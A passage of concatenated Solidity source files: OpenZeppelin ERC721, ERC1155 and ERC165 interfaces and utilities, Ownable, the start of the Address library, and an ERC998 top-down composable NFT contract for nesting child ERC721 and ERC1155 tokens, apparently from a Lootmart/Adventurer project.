* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return
_supportsERC165Interface(account, type(IERC165).interfaceId) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) && _supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns a boolean array where each value corresponds to the
* interfaces passed in and whether they're supported or not. This allows
* you to batch check interfaces for a contract where your expectation
* is that some interfaces may not be supported.
*
* See {IERC165-supportsInterface}.
*
* _Available since v3.4._
*/
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)
internal
view
returns (bool[] memory)
{
// an array of booleans corresponding to interfaceIds and whether they're supported or not
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
// query support of ERC165 itself
if (supportsERC165(account)) {
// query support of each interface in interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId);
(bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams);
if (result.length < 32) return false;
return success && abi.decode(result, (bool));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./IERC998ERC721TopDown.sol";
import "./IERC998ERC1155TopDown.sol";
contract ERC998TopDown is ERC721, IERC998ERC721TopDown, IERC998ERC1155TopDown {
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
// What tokens does the 998 own, by child address?
// _balances[tokenId][child address] = [child tokenId 1, child tokenId 2]
mapping(uint256 => mapping(address => EnumerableSet.UintSet)) internal _balances721;
// Which 998s own a a child 721 contract's token?
// _holdersOf[child address] = [tokenId 1, tokenId 2]
mapping(address => EnumerableSet.UintSet) internal _holdersOf721;
// _balances[tokenId][child address][child tokenId] = amount
mapping(uint256 => mapping(address => mapping(uint256 => uint256))) internal _balances1155;
// _holdersOf[child address][child tokenId] = [tokenId 1, tokenId 2]
mapping(address => mapping(uint256 => EnumerableSet.UintSet)) internal _holdersOf1155;
// What child 721 contracts does a token have children of?
// _child721Contracts[tokenId] = [child address 1, child address 2]
mapping(uint256 => EnumerableSet.AddressSet) internal _child721Contracts;
// What child tokens does a token have for a child 721 contract?
// _childrenForChild721Contracts[tokenId][child address] = [child tokenId 1, child tokenId 2]
mapping(uint256 => mapping(address => EnumerableSet.UintSet)) internal _childrenForChild721Contracts;
mapping(uint256 => EnumerableSet.AddressSet) internal _child1155Contracts;
mapping(uint256 => mapping(address => EnumerableSet.UintSet)) internal _childrenForChild1155Contracts;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
/**
* @dev Gives child balance for a specific child 721 contract.
*/
function child721Balance(uint256 tokenId, address childContract, uint256 childTokenId) public view override returns (uint256) {
return _balances721[tokenId][childContract].contains(childTokenId) ? 1 : 0;
}
/**
* @dev Gives child balance for a specific child 1155 contract and child id.
*/
function child1155Balance(uint256 tokenId, address childContract, uint256 childTokenId) public view override returns (uint256) {
return _balances1155[tokenId][childContract][childTokenId];
}
/**
* @dev Gives list of child 721 contracts where token ID has childs.
*/
function child721ContractsFor(uint256 tokenId) override public view returns (address[] memory) {
address[] memory childContracts = new address[](_child721Contracts[tokenId].length());
for(uint256 i = 0; i < _child721Contracts[tokenId].length(); i++) {
childContracts[i] = _child721Contracts[tokenId].at(i);
}
return childContracts;
}
/**
* @dev Gives list of child 1155 contracts where token ID has childs.
*/
function child1155ContractsFor(uint256 tokenId) override public view returns (address[] memory) {
address[] memory childContracts = new address[](_child1155Contracts[tokenId].length());
for(uint256 i = 0; i < _child1155Contracts[tokenId].length(); i++) {
childContracts[i] = _child1155Contracts[tokenId].at(i);
}
return childContracts;
}
/**
* @dev Gives list of owned child IDs on a child 721 contract by token ID.
*/
function child721IdsForOn(uint256 tokenId, address childContract) override public view returns (uint256[] memory) {
uint256[] memory childTokenIds = new uint256[](_childrenForChild721Contracts[tokenId][childContract].length());
for(uint256 i = 0; i < _childrenForChild721Contracts[tokenId][childContract].length(); i++) {
childTokenIds[i] = _childrenForChild721Contracts[tokenId][childContract].at(i);
}
return childTokenIds;
}
/**
* @dev Gives list of owned child IDs on a child 1155 contract by token ID.
*/
function child1155IdsForOn(uint256 tokenId, address childContract) override public view returns (uint256[] memory) {
uint256[] memory childTokenIds = new uint256[](_childrenForChild1155Contracts[tokenId][childContract].length());
for(uint256 i = 0; i < _childrenForChild1155Contracts[tokenId][childContract].length(); i++) {
childTokenIds[i] = _childrenForChild1155Contracts[tokenId][childContract].at(i);
}
return childTokenIds;
}
/**
* @dev Transfers child 721 token from a token ID.
*/
function safeTransferChild721From(uint256 fromTokenId, address to, address childContract, uint256 childTokenId, bytes memory data) public override {
require(to != address(0), "ERC998: transfer to the zero address");
address operator = _msgSender();
require(
ownerOf(fromTokenId) == operator ||
isApprovedForAll(ownerOf(fromTokenId), operator),
"ERC998: caller is not owner nor approved"
);
_beforeChild721Transfer(operator, fromTokenId, to, childContract, childTokenId, data);
_removeChild721(fromTokenId, childContract, childTokenId);
ERC721(childContract).safeTransferFrom(address(this), to, childTokenId, data);
emit TransferChild721(fromTokenId, to, childContract, childTokenId);
}
/**
* @dev Transfers child 1155 token from a token ID.
*/
function safeTransferChild1155From(uint256 fromTokenId, address to, address childContract, uint256 childTokenId, uint256 amount, bytes memory data) public override {
require(to != address(0), "ERC998: transfer to the zero address");
address operator = _msgSender();
require(
ownerOf(fromTokenId) == operator ||
isApprovedForAll(ownerOf(fromTokenId), operator),
"ERC998: caller is not owner nor approved"
);
_beforeChild1155Transfer(operator, fromTokenId, to, childContract, _asSingletonArray(childTokenId), _asSingletonArray(amount), data);
_removeChild1155(fromTokenId, childContract, childTokenId, amount);
ERC1155(childContract).safeTransferFrom(address(this), to, childTokenId, amount, data);
emit TransferSingleChild1155(fromTokenId, to, childContract, childTokenId, amount);
}
/**
* @dev Transfers batch of child 1155 tokens from a token ID.
*/
function safeBatchTransferChild1155From(uint256 fromTokenId, address to, address childContract, uint256[] memory childTokenIds, uint256[] memory amounts, bytes memory data) public override {
require(childTokenIds.length == amounts.length, "ERC998: ids and amounts length mismatch");
require(to != address(0), "ERC998: transfer to the zero address");
address operator = _msgSender();
require(
ownerOf(fromTokenId) == operator ||
isApprovedForAll(ownerOf(fromTokenId), operator),
"ERC998: caller is not owner nor approved"
);
_beforeChild1155Transfer(operator, fromTokenId, to, childContract, childTokenIds, amounts, data);
for (uint256 i = 0; i < childTokenIds.length; ++i) {
uint256 childTokenId = childTokenIds[i];
uint256 amount = amounts[i];
_removeChild1155(fromTokenId, childContract, childTokenId, amount);
}
ERC1155(childContract).safeBatchTransferFrom(address(this), to, childTokenIds, amounts, data);
emit TransferBatchChild1155(fromTokenId, to, childContract, childTokenIds, amounts);
}
/**
* @dev Receives a child token, the receiver token ID must be encoded in the
* field data. Operator is the account who initiated the transfer.
*/
function onERC721Received(address operator, address from, uint256 id, bytes memory data) virtual public override returns (bytes4) {
require(data.length == 32, "ERC998: data must contain the unique uint256 tokenId to transfer the child token to");
uint256 _receiverTokenId;
uint256 _index = msg.data.length - 32;
assembly {_receiverTokenId := calldataload(_index)}
_receiveChild721(_receiverTokenId, msg.sender, id);
emit ReceivedChild721(from, _receiverTokenId, msg.sender, id);
return this.onERC721Received.selector;
}
/**
* @dev Receives a child token, the receiver token ID must be encoded in the
* field data. Operator is the account who initiated the transfer.
*/
function onERC1155Received(address operator, address from, uint256 id, uint256 amount, bytes memory data) virtual public override returns (bytes4) {
require(data.length == 32, "ERC998: data must contain the unique uint256 tokenId to transfer the child token to");
uint256 _receiverTokenId;
uint256 _index = msg.data.length - 32;
assembly {_receiverTokenId := calldataload(_index)}
_receiveChild1155(_receiverTokenId, msg.sender, id, amount);
emit ReceivedChild1155(from, _receiverTokenId, msg.sender, id, amount);
return this.onERC1155Received.selector;
}
/**
* @dev Receives a batch of child tokens, the receiver token ID must be
* encoded in the field data. Operator is the account who initiated the transfer.
*/
function onERC1155BatchReceived(address operator, address from, uint256[] memory ids, uint256[] memory values, bytes memory data) virtual public override returns (bytes4) {
require(data.length == 32, "ERC998: data must contain the unique uint256 tokenId to transfer the child token to");
require(ids.length == values.length, "ERC1155: ids and values length mismatch");
uint256 _receiverTokenId;
uint256 _index = msg.data.length - 32;
assembly {_receiverTokenId := calldataload(_index)}
for (uint256 i = 0; i < ids.length; i++) {
_receiveChild1155(_receiverTokenId, msg.sender, ids[i], values[i]);
emit ReceivedChild1155(from, _receiverTokenId, msg.sender, ids[i], values[i]);
}
return this.onERC1155BatchReceived.selector;
}
/**
* @dev Update bookkeeping when a 998 is sent a child 721 token.
*/
function _receiveChild721(uint256 tokenId, address childContract, uint256 childTokenId) internal virtual {
if (!_child721Contracts[tokenId].contains(childContract)) {
_child721Contracts[tokenId].add(childContract);
}
if (!_balances721[tokenId][childContract].contains(childTokenId)) {
_childrenForChild721Contracts[tokenId][childContract].add(childTokenId);
}
_balances721[tokenId][childContract].add(childTokenId);
}
/**
* @dev Update bookkeeping when a child 721 token is removed from a 998.
*/
function _removeChild721(uint256 tokenId, address childContract, uint256 childTokenId) internal virtual {
require(_balances721[tokenId][childContract].contains(childTokenId), "ERC998: insufficient child balance for transfer");
_balances721[tokenId][childContract].remove(childTokenId);
_holdersOf721[childContract].remove(tokenId);
_childrenForChild721Contracts[tokenId][childContract].remove(childTokenId);
if (_childrenForChild721Contracts[tokenId][childContract].length() == 0) {
_child721Contracts[tokenId].remove(childContract);
}
}
/**
* @dev Update bookkeeping when a 998 is sent a child 1155 token.
*/
function _receiveChild1155(uint256 tokenId, address childContract, uint256 childTokenId, uint256 amount) internal virtual {
if (!_child1155Contracts[tokenId].contains(childContract)) {
_child1155Contracts[tokenId].add(childContract);
}
if (_balances1155[tokenId][childContract][childTokenId] == 0) {
_childrenForChild1155Contracts[tokenId][childContract].add(childTokenId);
}
_balances1155[tokenId][childContract][childTokenId] += amount;
}
/**
* @dev Update bookkeeping when a child 1155 token is removed from a 998.
*/
function _removeChild1155(uint256 tokenId, address childContract, uint256 childTokenId, uint256 amount) internal virtual {
require(amount != 0 || _balances1155[tokenId][childContract][childTokenId] >= amount, "ERC998: insufficient child balance for transfer");
_balances1155[tokenId][childContract][childTokenId] -= amount;
if (_balances1155[tokenId][childContract][childTokenId] == 0) {
_holdersOf1155[childContract][childTokenId].remove(tokenId);
_childrenForChild1155Contracts[tokenId][childContract].remove(childTokenId);
if (_childrenForChild1155Contracts[tokenId][childContract].length() == 0) {
_child1155Contracts[tokenId].remove(childContract);
}
}
}
function _beforeChild721Transfer(
address operator,
uint256 fromTokenId,
address to,
address childContract,
uint256 id,
bytes memory data
)
internal virtual
{ }
function _beforeChild1155Transfer(
address operator,
uint256 fromTokenId,
address to,
address childContract,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal virtual
{ }
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
// Any component stores need to have this function so that Adventurer can determine what
// type of item it is
interface ILootmart {
function itemTypeFor(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
